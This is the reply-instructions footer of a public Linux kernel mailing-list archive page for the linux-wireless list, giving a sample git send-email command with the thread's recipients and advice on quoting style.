  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=cover.1787220252.git.vega.cover-letter@nebusec.ai \
    --to=weir@nebusec.ai \
    --cc=caoruide123@gmail.com \
    --cc=johannes@sipsolutions.net \
    --cc=linux-wireless@vger.kernel.org \
    --cc=linville@tuxdriver.com \
    --cc=vega@nebusec.ai \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox